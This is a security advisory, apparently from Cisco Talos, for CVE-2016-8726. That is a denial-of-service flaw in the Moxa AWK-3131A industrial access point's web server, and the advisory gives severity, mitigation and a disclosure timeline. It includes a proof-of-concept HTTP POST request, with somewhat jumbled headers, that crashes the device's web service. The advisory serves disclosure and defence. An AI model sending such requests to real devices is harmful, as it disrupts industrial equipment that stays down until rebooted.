Moxa AWK-3131A web_runScript Header Manipulation Denial of Service Vulnerability(CVE-2016-8726)

Summary

An exploitable null pointer dereference vulnerability exists in the Web Application /forms/webrunScript iwfilename functionality of Moxa AWK-3131A Wireless Access Point running firmware 1.1. An HTTP POST request with a blank line in the header will cause a segmentation fault in the web server.

Tested Versions

Moxa AWK-3131A Series Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client 1.1

Product URLs

http://www.moxa.com/product/AWK-3131A.htm

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Details

An exploitable null pointer dereference vulnerability exists in the Web Application /forms/webrunScript iwfilename functionality of Moxa AWK-3131A Series Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client. An HTTP POST request with a blank line in the header will cause a segmentation fault in the web server.

There is no way to restart the web application using legitimate functionality outside of rebooting the device.

Exploit Proof-of-Concept

POST /forms/web_runScript 
HTTP/1.1 Host: 192.168.127.253 
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 
Accept-Language: en-US,en;q=0.5 Content-Length: 871
Accept-Encoding: gzip, deflate 
Referer: http://192.168.127.253/Troubleshooting.asp 
Cookie: Password508= 
Connection: close 
Content-Type: multipart/form-data; boundary=---------------------------99926971127282895659616238 
Content-Length: 591

Mitigation

To significantly mitigate risk of exploitation, disable the web application before the device is deployed.

Timeline

• 2016-11-18 - Vendor Disclosure
• 2017-04-10 - Public Release

CREDIT

• Discovered by Patrick DeSantis of Cisco Talos.